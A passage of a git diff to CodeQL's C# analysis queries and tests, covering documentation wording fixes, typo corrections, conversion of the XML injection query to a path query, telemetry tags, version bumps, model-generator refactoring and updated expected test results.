  * @name Incorrect parameter name in documentation
- * @description The parameter name given in a '<param>' tag does not exist. Rename the parameter or
+ * @description The parameter name given in a `<param>` tag does not exist. Rename the parameter or
  *              change the name in the documentation to ensure that they are the same.
  * @kind problem
  * @problem.severity recommendation
diff --git a/csharp/ql/src/Documentation/XmldocExtraTypeParam.ql b/csharp/ql/src/Documentation/XmldocExtraTypeParam.ql
index 4763b3d958c..76c2039920d 100644
--- a/csharp/ql/src/Documentation/XmldocExtraTypeParam.ql
+++ b/csharp/ql/src/Documentation/XmldocExtraTypeParam.ql
@@ -1,6 +1,6 @@
 /**
  * @name Incorrect type parameter name in documentation
- * @description The type parameter name given in a '<typeparam>' tag does not exist. Rename the parameter or
+ * @description The type parameter name given in a `<typeparam>` tag does not exist. Rename the parameter or
  *              change the name in the documentation to ensure that they are the same.
  * @kind problem
  * @problem.severity recommendation
diff --git a/csharp/ql/src/Documentation/XmldocMissingException.ql b/csharp/ql/src/Documentation/XmldocMissingException.ql
index 87af9c299f5..a5c06c598c7 100644
--- a/csharp/ql/src/Documentation/XmldocMissingException.ql
+++ b/csharp/ql/src/Documentation/XmldocMissingException.ql
@@ -1,6 +1,6 @@
 /**
  * @name Missing documentation for exception
- * @description Exceptions thrown by the method should be documented using '<exception cref="..."> </exception>' tags.
+ * @description Exceptions thrown by the method should be documented using `<exception cref="..."> </exception>` tags.
  *              Ensure that the correct type of the exception is given in the 'cref' attribute.
  * @kind problem
  * @problem.severity recommendation
diff --git a/csharp/ql/src/Documentation/XmldocMissingParam.ql b/csharp/ql/src/Documentation/XmldocMissingParam.ql
index 1926bee4eb6..adf9fcd5718 100644
--- a/csharp/ql/src/Documentation/XmldocMissingParam.ql
+++ b/csharp/ql/src/Documentation/XmldocMissingParam.ql
@@ -1,6 +1,6 @@
 /**
  * @name Missing documentation for parameter
- * @description All parameters should be documented using '<param name="..."> </param>' tags.
+ * @description All parameters should be documented using `<param name="..."> </param>` tags.
  *              Ensure that the name attribute matches the name of the parameter.
  * @kind problem
  * @problem.severity recommendation
diff --git a/csharp/ql/src/Documentation/XmldocMissingReturn.ql b/csharp/ql/src/Documentation/XmldocMissingReturn.ql
index 112c6238d97..05c93227c3c 100644
--- a/csharp/ql/src/Documentation/XmldocMissingReturn.ql
+++ b/csharp/ql/src/Documentation/XmldocMissingReturn.ql
@@ -1,7 +1,7 @@
 /**
  * @name Missing documentation for return value
  * @description The method returns a value, but the return value is not documented using
- *              a '<returns>' tag.
+ *              a `<returns>` tag.
  * @kind problem
  * @problem.severity recommendation
  * @precision low
diff --git a/csharp/ql/src/Documentation/XmldocMissingSummary.ql b/csharp/ql/src/Documentation/XmldocMissingSummary.ql
index 74238b63ed4..312848b6bdf 100644
--- a/csharp/ql/src/Documentation/XmldocMissingSummary.ql
+++ b/csharp/ql/src/Documentation/XmldocMissingSummary.ql
@@ -1,6 +1,6 @@
 /**
  * @name Missing a summary in documentation comment
- * @description The documentation comment does not contain a '<summary>' tag.
+ * @description The documentation comment does not contain a `<summary>` tag.
  * @kind problem
  * @problem.severity recommendation
  * @precision high
diff --git a/csharp/ql/src/Documentation/XmldocMissingTypeParam.ql b/csharp/ql/src/Documentation/XmldocMissingTypeParam.ql
index d559783146c..cd1e0eeea3e 100644
--- a/csharp/ql/src/Documentation/XmldocMissingTypeParam.ql
+++ b/csharp/ql/src/Documentation/XmldocMissingTypeParam.ql
@@ -1,6 +1,6 @@
 /**
  * @name Missing documentation for type parameter
- * @description All type parameters should be documented using '<typeparam name="..."> </typeparam>' tags.
+ * @description All type parameters should be documented using `<typeparam name="..."> </typeparam>` tags.
  *              Ensure that the 'name' attribute matches the name of the type parameter.
  * @kind problem
  * @problem.severity recommendation
diff --git a/csharp/ql/src/Likely Bugs/LeapYear/UnsafeYearConstruction.ql b/csharp/ql/src/Likely Bugs/LeapYear/UnsafeYearConstruction.ql
index fe0c5707742..838406ab82e 100644
--- a/csharp/ql/src/Likely Bugs/LeapYear/UnsafeYearConstruction.ql	
+++ b/csharp/ql/src/Likely Bugs/LeapYear/UnsafeYearConstruction.ql	
@@ -20,7 +20,7 @@ class UnsafeYearCreationFromArithmeticConfiguration extends TaintTracking::Confi
   override predicate isSource(DataFlow::Node source) {
     exists(ArithmeticOperation ao, PropertyAccess pa | ao = source.asExpr() |
       pa = ao.getAChild*() and
-      pa.getProperty().getQualifiedName().matches("System.DateTime.Year")
+      pa.getProperty().hasQualifiedName("System.DateTime.Year")
     )
   }
 
diff --git a/csharp/ql/src/Security Features/CWE-091/XMLInjection.ql b/csharp/ql/src/Security Features/CWE-091/XMLInjection.ql
index 1ad4fad9e41..02aa158a120 100644
--- a/csharp/ql/src/Security Features/CWE-091/XMLInjection.ql	
+++ b/csharp/ql/src/Security Features/CWE-091/XMLInjection.ql	
@@ -2,7 +2,7 @@
  * @name XML injection
  * @description Building an XML document from user-controlled sources is vulnerable to insertion of
  *              malicious code by the user.
- * @kind problem
+ * @kind path-problem
  * @id cs/xml-injection
  * @problem.severity error
  * @security-severity 8.8
@@ -12,6 +12,7 @@
  */
 
 import csharp
+import DataFlow::PathGraph
 import semmle.code.csharp.security.dataflow.flowsources.Remote
 import semmle.code.csharp.frameworks.system.Xml
 
@@ -45,6 +46,6 @@ class TaintTrackingConfiguration extends TaintTracking::Configuration {
   }
 }
 
-from TaintTrackingConfiguration c, DataFlow::Node source, DataFlow::Node sink
-where c.hasFlow(source, sink)
-select sink, "$@ flows to here and is inserted as XML.", source, "User-provided value"
+from TaintTrackingConfiguration c, DataFlow::PathNode source, DataFlow::PathNode sink
+where c.hasFlowPath(source, sink)
+select sink, source, sink, "$@ flows to here and is inserted as XML.", source, "User-provided value"
diff --git a/csharp/ql/src/Stubs/make_stubs_nuget.py b/csharp/ql/src/Stubs/make_stubs_nuget.py
index c95ab3a0258..f06fc75e0de 100644
--- a/csharp/ql/src/Stubs/make_stubs_nuget.py
+++ b/csharp/ql/src/Stubs/make_stubs_nuget.py
@@ -71,7 +71,7 @@ if (version != "latest"):
     cmd.append(version)
 run_cmd(cmd)
 
-sdk_version = '6.0.101'
+sdk_version = '6.0.202'
 print("\n* Creating new global.json file and setting SDK to " + sdk_version)
 run_cmd(['dotnet', 'new', 'globaljson', '--force', '--sdk-version', sdk_version, '--output', workDir])
 
diff --git a/csharp/ql/src/Telemetry/ExternalApi.qll b/csharp/ql/src/Telemetry/ExternalApi.qll
index 4190b11188e..b47c9c2c077 100644
--- a/csharp/ql/src/Telemetry/ExternalApi.qll
+++ b/csharp/ql/src/Telemetry/ExternalApi.qll
@@ -1,6 +1,7 @@
 /** Provides classes and predicates related to handling APIs from external libraries. */
 
 private import csharp
+private import dotnet
 private import semmle.code.csharp.dispatch.Dispatch
 private import semmle.code.csharp.dataflow.ExternalFlow
 private import semmle.code.csharp.dataflow.FlowSummary
@@ -24,8 +25,8 @@ class TestLibrary extends RefType {
 /**
  * An external API from either the C# Standard Library or a 3rd party library.
  */
-class ExternalApi extends DataFlowDispatch::DataFlowCallable {
-  ExternalApi() { this.fromLibrary() }
+class ExternalApi extends DotNet::Callable {
+  ExternalApi() { this.isUnboundDeclaration() and this.fromLibrary() }
 
   /**
    * Gets the unbound type, name and parameter types of this API.
@@ -79,7 +80,8 @@ class ExternalApi extends DataFlowDispatch::DataFlowCallable {
 
   /** Holds if this API has a supported summary. */
   predicate hasSummary() {
-    this instanceof SummarizedCallable or
+    this instanceof SummarizedCallable
+    or
     defaultAdditionalTaintStep(this.getAnInput(), _)
   }
 
diff --git a/csharp/ql/src/Telemetry/ExternalLibraryUsage.ql b/csharp/ql/src/Telemetry/ExternalLibraryUsage.ql
index 473d1ce986d..51ae5609025 100644
--- a/csharp/ql/src/Telemetry/ExternalLibraryUsage.ql
+++ b/csharp/ql/src/Telemetry/ExternalLibraryUsage.ql
@@ -2,7 +2,7 @@
  * @name External libraries
  * @description A list of external libraries used in the code
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id csharp/telemetry/external-libs
  */
 
diff --git a/csharp/ql/src/Telemetry/SupportedExternalSinks.ql b/csharp/ql/src/Telemetry/SupportedExternalSinks.ql
index 446da21043d..2f13c334ba4 100644
--- a/csharp/ql/src/Telemetry/SupportedExternalSinks.ql
+++ b/csharp/ql/src/Telemetry/SupportedExternalSinks.ql
@@ -2,7 +2,7 @@
  * @name Supported sinks in external libraries
  * @description A list of 3rd party APIs detected as sinks. Excludes APIs exposed by test libraries.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id csharp/telemetry/supported-external-api-sinks
  */
 
diff --git a/csharp/ql/src/Telemetry/SupportedExternalSources.ql b/csharp/ql/src/Telemetry/SupportedExternalSources.ql
index ae785ee518e..9a81f7a7ffd 100644
--- a/csharp/ql/src/Telemetry/SupportedExternalSources.ql
+++ b/csharp/ql/src/Telemetry/SupportedExternalSources.ql
@@ -2,7 +2,7 @@
  * @name Supported sources in external libraries
  * @description A list of 3rd party APIs detected as sources. Excludes APIs exposed by test libraries.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id csharp/telemetry/supported-external-api-sources
  */
 
diff --git a/csharp/ql/src/Telemetry/SupportedExternalTaint.ql b/csharp/ql/src/Telemetry/SupportedExternalTaint.ql
index 51c0e1713d8..022c935f77e 100644
--- a/csharp/ql/src/Telemetry/SupportedExternalTaint.ql
+++ b/csharp/ql/src/Telemetry/SupportedExternalTaint.ql
@@ -2,7 +2,7 @@
  * @name Supported flow steps in external libraries
  * @description A list of 3rd party APIs detected as flow steps. Excludes APIs exposed by test libraries.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id csharp/telemetry/supported-external-api-taint
  */
 
diff --git a/csharp/ql/src/Telemetry/UnsupportedExternalAPIs.ql b/csharp/ql/src/Telemetry/UnsupportedExternalAPIs.ql
index 59a4064c3a2..c9428be413f 100644
--- a/csharp/ql/src/Telemetry/UnsupportedExternalAPIs.ql
+++ b/csharp/ql/src/Telemetry/UnsupportedExternalAPIs.ql
@@ -2,7 +2,7 @@
  * @name Usage of unsupported APIs coming from external libraries
  * @description A list of 3rd party APIs used in the codebase. Excludes APIs exposed by test libraries.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id csharp/telemetry/unsupported-external-api
  */
 
diff --git a/csharp/ql/src/change-notes/released/0.1.1.md b/csharp/ql/src/change-notes/released/0.1.1.md
new file mode 100644
index 00000000000..f8f257d7250
--- /dev/null
+++ b/csharp/ql/src/change-notes/released/0.1.1.md
@@ -0,0 +1 @@
+## 0.1.1
diff --git a/csharp/ql/src/change-notes/released/0.1.2.md b/csharp/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..66bd49d11eb
--- /dev/null
+++ b/csharp/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1 @@
+## 0.1.2
diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/csharp/ql/src/codeql-pack.release.yml
+++ b/csharp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/csharp/ql/src/definitions.qll b/csharp/ql/src/definitions.qll
index 8580f88d05d..4feaf20629c 100644
--- a/csharp/ql/src/definitions.qll
+++ b/csharp/ql/src/definitions.qll
@@ -105,7 +105,7 @@ private class AccessUse extends Access, Use {
     not this.(PropertyAccess).getParent().getParent() instanceof Property // Property initializer
   }
 
-  /** Gets the qualifier of this acccess, if any. */
+  /** Gets the qualifier of this access, if any. */
   private Expr getFormatQualifier() {
     result = this.(QualifiableExpr).getQualifier() and
     not result.isImplicit()
diff --git a/csharp/ql/src/experimental/Security Features/backdoor/PotentialTimeBomb.ql b/csharp/ql/src/experimental/Security Features/backdoor/PotentialTimeBomb.ql
index 31c00e8a378..4745daf6b8b 100644
--- a/csharp/ql/src/experimental/Security Features/backdoor/PotentialTimeBomb.ql	
+++ b/csharp/ql/src/experimental/Security Features/backdoor/PotentialTimeBomb.ql	
@@ -70,7 +70,7 @@ class DateTimeStruct extends Struct {
   }
 
   /**
-   * Holds if the Callable is used for DateTime comparision
+   * Holds if the Callable is used for DateTime comparison
    */
   Callable getAComparisonCallable() {
     (result = this.getAnOperator() or result = this.getAMethod()) and
diff --git a/csharp/ql/src/experimental/ir/implementation/EdgeKind.qll b/csharp/ql/src/experimental/ir/implementation/EdgeKind.qll
index 32e36bb6787..91e1fe03e23 100644
--- a/csharp/ql/src/experimental/ir/implementation/EdgeKind.qll
+++ b/csharp/ql/src/experimental/ir/implementation/EdgeKind.qll
@@ -67,7 +67,7 @@ class DefaultEdge extends EdgeKind, TDefaultEdge {
 
 /**
  * A "case" edge, representing the successor of a `Switch` instruction when the
- * the condition value matches a correponding `case` label.
+ * the condition value matches a corresponding `case` label.
  */
 class CaseEdge extends EdgeKind, TCaseEdge {
   string minValue;
diff --git a/csharp/ql/src/experimental/ir/implementation/raw/gvn/ValueNumbering.qll b/csharp/ql/src/experimental/ir/implementation/raw/gvn/ValueNumbering.qll
index 796fb792366..ca3c378cd7e 100644
--- a/csharp/ql/src/experimental/ir/implementation/raw/gvn/ValueNumbering.qll
+++ b/csharp/ql/src/experimental/ir/implementation/raw/gvn/ValueNumbering.qll
@@ -34,7 +34,7 @@ class ValueNumber extends TValueNumber {
   final Instruction getAnInstruction() { this = valueNumber(result) }
 
   /**
-   * Gets one of the instructions that was assigned this value number. The chosen instuction is
+   * Gets one of the instructions that was assigned this value number. The chosen instruction is
    * deterministic but arbitrary. Intended for use only in debugging.
    */
   final Instruction getExampleInstruction() {
diff --git a/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Common.qll b/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Common.qll
index ef40d716fea..19b773c2622 100644
--- a/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Common.qll
+++ b/csharp/ql/src/experimental/ir/implementation/raw/internal/desugar/Common.qll
@@ -183,7 +183,7 @@ abstract class TranslatedCompilerGeneratedVariableAccess extends TranslatedCompi
   override Instruction getChildSuccessor(TranslatedElement child) { none() }
 
   /**
-   * Returns the type of the accessed variable. Can be overriden when the return
+   * Returns the type of the accessed variable. Can be overridden when the return
    * type is different than the type of the underlying variable.
    */
   Type getVariableType() { result = getResultType() }
diff --git a/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll b/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
index 796fb792366..ca3c378cd7e 100644
--- a/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
+++ b/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/gvn/ValueNumbering.qll
@@ -34,7 +34,7 @@ class ValueNumber extends TValueNumber {
   final Instruction getAnInstruction() { this = valueNumber(result) }
 
   /**
-   * Gets one of the instructions that was assigned this value number. The chosen instuction is
+   * Gets one of the instructions that was assigned this value number. The chosen instruction is
    * deterministic but arbitrary. Intended for use only in debugging.
    */
   final Instruction getExampleInstruction() {
diff --git a/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll b/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
index 13ec2ca4ca4..303a9683011 100644
--- a/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
+++ b/csharp/ql/src/experimental/ir/implementation/unaliased_ssa/internal/SSAConstruction.qll
@@ -1005,7 +1005,7 @@ predicate canReuseSsaForMemoryResult(Instruction instruction) {
 deprecated predicate canReuseSSAForMemoryResult = canReuseSsaForMemoryResult/1;
 
 /**
- * Expose some of the internal predicates to PrintSSA.qll. We do this by publically importing those modules in the
+ * Expose some of the internal predicates to PrintSSA.qll. We do this by publicly importing those modules in the
  * `DebugSSA` module, which is then imported by PrintSSA.
  */
 module DebugSsa {
diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml
index 875f58bcf58..873dbdff8c6 100644
--- a/csharp/ql/src/qlpack.yml
+++ b/csharp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - csharp
   - queries
diff --git a/csharp/ql/src/utils/model-generator/internal/CaptureModels.qll b/csharp/ql/src/utils/model-generator/internal/CaptureModels.qll
index 81f13d978dd..84af7b57938 100644
--- a/csharp/ql/src/utils/model-generator/internal/CaptureModels.qll
+++ b/csharp/ql/src/utils/model-generator/internal/CaptureModels.qll
@@ -90,18 +90,34 @@ string captureQualifierFlow(TargetApi api) {
   result = asValueModel(api, qualifierString(), "ReturnValue")
 }
 
+private int accessPathLimit() { result = 2 }
+
 /**
  * A FlowState representing a tainted read.
  */
 private class TaintRead extends DataFlow::FlowState {
-  TaintRead() { this = "TaintRead" }
+  private int step;
+
+  TaintRead() { this = "TaintRead(" + step + ")" and step in [0 .. accessPathLimit()] }
+
+  /**
+   * Gets the flow state step number.
+   */
+  int getStep() { result = step }
 }
 
 /**
  * A FlowState representing a tainted write.
  */
 private class TaintStore extends DataFlow::FlowState {
-  TaintStore() { this = "TaintStore" }
+  private int step;
+
+  TaintStore() { this = "TaintStore(" + step + ")" and step in [1 .. accessPathLimit()] }
+
+  /**
+   * Gets the flow state step number.
+   */
+  int getStep() { result = step }
 }
 
 /**
@@ -116,7 +132,7 @@ private class ThroughFlowConfig extends TaintTracking::Configuration {
   override predicate isSource(DataFlow::Node source, DataFlow::FlowState state) {
     source instanceof DataFlow::ParameterNode and
     source.getEnclosingCallable() instanceof TargetApi and
-    state instanceof TaintRead
+    state.(TaintRead).getStep() = 0
   }
 
   override predicate isSink(DataFlow::Node sink, DataFlow::FlowState state) {
@@ -133,15 +149,17 @@ private class ThroughFlowConfig extends TaintTracking::Configuration {
     exists(DataFlowImplCommon::TypedContent tc |
       DataFlowImplCommon::store(node1, tc, node2, _) and
       isRelevantContent(tc.getContent()) and
-      (state1 instanceof TaintRead or state1 instanceof TaintStore) and
-      state2 instanceof TaintStore
+      (
+        state1 instanceof TaintRead and state2.(TaintStore).getStep() = 1
+        or
+        state1.(TaintStore).getStep() + 1 = state2.(TaintStore).getStep()
+      )
     )
     or
     exists(DataFlow::Content c |
       DataFlowPrivate::readStep(node1, c, node2) and
       isRelevantContent(c) and
-      state1 instanceof TaintRead and
-      state2 instanceof TaintRead
+      state1.(TaintRead).getStep() + 1 = state2.(TaintRead).getStep()
     )
   }
 
diff --git a/csharp/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll b/csharp/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
index 9dc4e72bec7..f33f18abee2 100644
--- a/csharp/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
+++ b/csharp/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
@@ -3,6 +3,7 @@
  */
 
 private import csharp as CS
+private import dotnet
 private import semmle.code.csharp.commons.Util as Util
 private import semmle.code.csharp.commons.Collections as Collections
 private import semmle.code.csharp.dataflow.internal.DataFlowDispatch
@@ -44,9 +45,10 @@ private predicate isRelevantForModels(CS::Callable api) {
  * In the Standard library and 3rd party libraries it the callables that can be called
  * from outside the library itself.
  */
-class TargetApiSpecific extends DataFlowCallable {
+class TargetApiSpecific extends DotNet::Callable {
   TargetApiSpecific() {
     this.fromSource() and
+    this.isUnboundDeclaration() and
     isRelevantForModels(this)
   }
 }
@@ -110,7 +112,7 @@ string returnNodeAsOutput(DataFlowImplCommon::ReturnNodeExt node) {
  * Gets the enclosing callable of `ret`.
  */
 CS::Callable returnNodeEnclosingCallable(DataFlowImplCommon::ReturnNodeExt ret) {
-  result = DataFlowImplCommon::getNodeEnclosingCallable(ret)
+  result = DataFlowImplCommon::getNodeEnclosingCallable(ret).getUnderlyingCallable()
 }
 
 /**
diff --git a/csharp/ql/test/TestUtilities/InlineExpectationsTest.qll b/csharp/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/csharp/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/csharp/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.expected b/csharp/ql/test/library-tests/cil/attributes/attribute.expected
index 8c2a9d89762..caf7df91c55 100644
--- a/csharp/ql/test/library-tests/cil/attributes/attribute.expected
+++ b/csharp/ql/test/library-tests/cil/attributes/attribute.expected
@@ -2342,7 +2342,7 @@ attrArgPositional
 | System.Number.BigInteger | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. |
 | System.Number.BigInteger | [ObsoleteAttribute(...)] | 1 | True |
 | System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | 0 | System.UInt32 |
-| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | 1 | 115 |
+| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | 1 | 116 |
 | System.Number.DiyFp | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. |
 | System.Number.DiyFp | [ObsoleteAttribute(...)] | 1 | True |
 | System.Number.NumberBuffer | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. |
diff --git a/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected
index e7a5bdfbdaa..26409836c35 100644
--- a/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected
+++ b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected
@@ -1178,6 +1178,7 @@
 | Parameter 1 of System.Runtime.InteropServices.MemoryMarshal.TryRead | parameter | 32 |
 | Parameter 1 of System.Runtime.InteropServices.MemoryMarshal.TryWrite | parameter | 32 |
 | Parameter 1 of System.Runtime.InteropServices.MemoryMarshal.Write | parameter | 32 |
+| Parameter 1 of System.Runtime.InteropServices.NFloat.TryParse | parameter | 32 |
 | Parameter 1 of System.Runtime.InteropServices.NativeLibrary.TryLoad | parameter | 32 |
 | Parameter 1 of System.Runtime.InteropServices.ObjectiveC.ObjectiveCMarshal.CreateReferenceTrackingHandle | parameter | 32 |
 | Parameter 1 of System.Runtime.InteropServices.ObjectiveC.ObjectiveCMarshal.UnhandledExceptionPropagationHandler.EndInvoke | parameter | 32 |
@@ -1673,6 +1674,7 @@
 | Parameter 2 of System.Runtime.InteropServices.Marshal.QueryInterface | parameter | 32 |
 | Parameter 2 of System.Runtime.InteropServices.MemoryMarshal.TryGetMemoryManager | parameter | 32 |
 | Parameter 2 of System.Runtime.InteropServices.MemoryMarshal.TryGetString | parameter | 32 |
+| Parameter 2 of System.Runtime.InteropServices.NFloat.TryFormat | parameter | 32 |
 | Parameter 2 of System.Runtime.InteropServices.NativeLibrary.TryGetExport | parameter | 32 |
 | Parameter 2 of System.Runtime.Serialization.SerializationInfo.GetElement | parameter | 32 |
 | Parameter 2 of System.Runtime.Serialization.SerializationInfo.GetElementNoThrow | parameter | 32 |
@@ -1971,6 +1973,7 @@
 | Parameter 3 of System.Runtime.InteropServices.ComWrappers.TryGetOrCreateComInterfaceForObjectInternal | parameter | 32 |
 | Parameter 3 of System.Runtime.InteropServices.MemoryMarshal.TryGetMemoryManager | parameter | 32 |
 | Parameter 3 of System.Runtime.InteropServices.MemoryMarshal.TryGetString | parameter | 32 |
+| Parameter 3 of System.Runtime.InteropServices.NFloat.TryParse | parameter | 32 |
 | Parameter 3 of System.Runtime.InteropServices.NativeLibrary.TryLoad | parameter | 32 |
 | Parameter 3 of System.Runtime.InteropServices.ObjectiveC.ObjectiveCMarshal.UnhandledExceptionPropagationHandler.BeginInvoke | parameter | 32 |
 | Parameter 3 of System.Runtime.InteropServices.ObjectiveC.ObjectiveCMarshal.UnhandledExceptionPropagationHandler.Invoke | parameter | 32 |
diff --git a/csharp/ql/test/library-tests/conversion/operator/Operator.expected b/csharp/ql/test/library-tests/conversion/operator/Operator.expected
index bc9b3aae5b4..fb03f013375 100644
--- a/csharp/ql/test/library-tests/conversion/operator/Operator.expected
+++ b/csharp/ql/test/library-tests/conversion/operator/Operator.expected
@@ -3,18 +3,27 @@
 | ArraySegment<T> | ReadOnlySpan<> |
 | ArraySegment<T> | Span<> |
 | Byte | Decimal |
+| Byte | NFloat |
 | Char | Decimal |
+| Char | NFloat |
 | Char | StandardFormat |
 | DateTime | DateTimeOffset |
 | Int16 | Decimal |
+| Int16 | NFloat |
 | Int32 | C |
 | Int32 | Decimal |
 | Int32 | Index |
 | Int32 | MetadataToken |
+| Int32 | NFloat |
 | Int64 | Decimal |
+| Int64 | NFloat |
+| IntPtr | NFloat |
 | Memory<> | ReadOnlyMemory<T> |
 | MetadataToken | Int32 |
+| NFloat | Double |
 | SByte | Decimal |
+| SByte | NFloat |
+| Single | NFloat |
 | Span<> | ReadOnlySpan<T> |
 | String | ReadOnlySpan<Char> |
 | T | Nullable<> |
@@ -24,5 +33,9 @@
 | T[] | ReadOnlySpan<> |
 | T[] | Span<> |
 | UInt16 | Decimal |
+| UInt16 | NFloat |
 | UInt32 | Decimal |
+| UInt32 | NFloat |
 | UInt64 | Decimal |
+| UInt64 | NFloat |
+| UIntPtr | NFloat |
diff --git a/csharp/ql/test/library-tests/dataflow/collections/CollectionFlow.ql b/csharp/ql/test/library-tests/dataflow/collections/CollectionFlow.ql
index ae3ba6178f0..6d89c413730 100644
--- a/csharp/ql/test/library-tests/dataflow/collections/CollectionFlow.ql
+++ b/csharp/ql/test/library-tests/dataflow/collections/CollectionFlow.ql
@@ -17,7 +17,7 @@ class Conf extends DataFlow::Configuration {
     )
   }
 
-  override int fieldFlowBranchLimit() { result = 10 }
+  override int fieldFlowBranchLimit() { result = 100 }
 }
 
 from DataFlow::PathNode source, DataFlow::PathNode sink, Conf conf
diff --git a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected
index f9fbbbab6be..723086b649f 100644
--- a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected
+++ b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected
@@ -51,5 +51,5 @@ viableLambda
 | DelegateFlow.cs:125:9:125:25 | function pointer call | file://:0:0:0:0 | (none) | DelegateFlow.cs:7:17:7:18 | M2 |
 | DelegateFlow.cs:132:9:132:11 | delegate call | DelegateFlow.cs:135:25:135:40 | call to method M19 | DelegateFlow.cs:135:29:135:36 | (...) => ... |
 | DelegateFlow.cs:132:9:132:11 | delegate call | file://:0:0:0:0 | (none) | DelegateFlow.cs:131:17:131:24 | (...) => ... |
-| file://:0:0:0:0 | [summary] call to valueFactory in Lazy | DelegateFlow.cs:105:9:105:24 | object creation of type Lazy<Int32> | DelegateFlow.cs:104:23:104:30 | (...) => ... |
-| file://:0:0:0:0 | [summary] call to valueFactory in Lazy | DelegateFlow.cs:107:9:107:24 | object creation of type Lazy<Int32> | DelegateFlow.cs:106:13:106:20 | (...) => ... |
+| file://:0:0:0:0 | [summary] call to parameter position 0 of Lazy in Lazy | DelegateFlow.cs:105:9:105:24 | object creation of type Lazy<Int32> | DelegateFlow.cs:104:23:104:30 | (...) => ... |
+| file://:0:0:0:0 | [summary] call to parameter position 0 of Lazy in Lazy | DelegateFlow.cs:107:9:107:24 | object creation of type Lazy<Int32> | DelegateFlow.cs:106:13:106:20 | (...) => ... |
diff --git a/csharp/ql/test/library-tests/dataflow/external-models/steps.expected b/csharp/ql/test/library-tests/dataflow/external-models/steps.expected
index 6d8ed631741..fb2e2c9b110 100644
--- a/csharp/ql/test/library-tests/dataflow/external-models/steps.expected
+++ b/csharp/ql/test/library-tests/dataflow/external-models/steps.expected
@@ -8,8 +8,6 @@ summaryThroughStep
 | Steps.cs:22:13:22:16 | this access | Steps.cs:22:13:22:30 | call to method StepQualRes | false |
 | Steps.cs:23:13:23:25 | this access | Steps.cs:23:13:23:25 | call to method StepQualRes | false |
 | Steps.cs:26:13:26:31 | this access | Steps.cs:26:25:26:30 | [post] access to local variable argOut | false |
-| Steps.cs:30:13:30:16 | this access | Steps.cs:30:13:30:16 | [post] this access | true |
-| Steps.cs:34:13:34:16 | this access | Steps.cs:34:13:34:16 | [post] this access | true |
 | Steps.cs:41:29:41:29 | 0 | Steps.cs:41:13:41:30 | call to method StepGeneric | true |
 | Steps.cs:42:30:42:34 | false | Steps.cs:42:13:42:35 | call to method StepGeneric2<Boolean> | true |
 | Steps.cs:44:36:44:43 | "string" | Steps.cs:44:13:44:44 | call to method StepOverride | true |
diff --git a/csharp/ql/test/library-tests/dataflow/external-models/steps.ql b/csharp/ql/test/library-tests/dataflow/external-models/steps.ql
index ecd7ac5c6fd..15a91327277 100644
--- a/csharp/ql/test/library-tests/dataflow/external-models/steps.ql
+++ b/csharp/ql/test/library-tests/dataflow/external-models/steps.ql
@@ -31,7 +31,9 @@ class SummaryModelTest extends SummaryModelCsv {
 query predicate summaryThroughStep(
   DataFlow::Node node1, DataFlow::Node node2, boolean preservesValue
 ) {
-  FlowSummaryImpl::Private::Steps::summaryThroughStep(node1, node2, preservesValue)
+  FlowSummaryImpl::Private::Steps::summaryThroughStepValue(node1, node2) and preservesValue = true
+  or
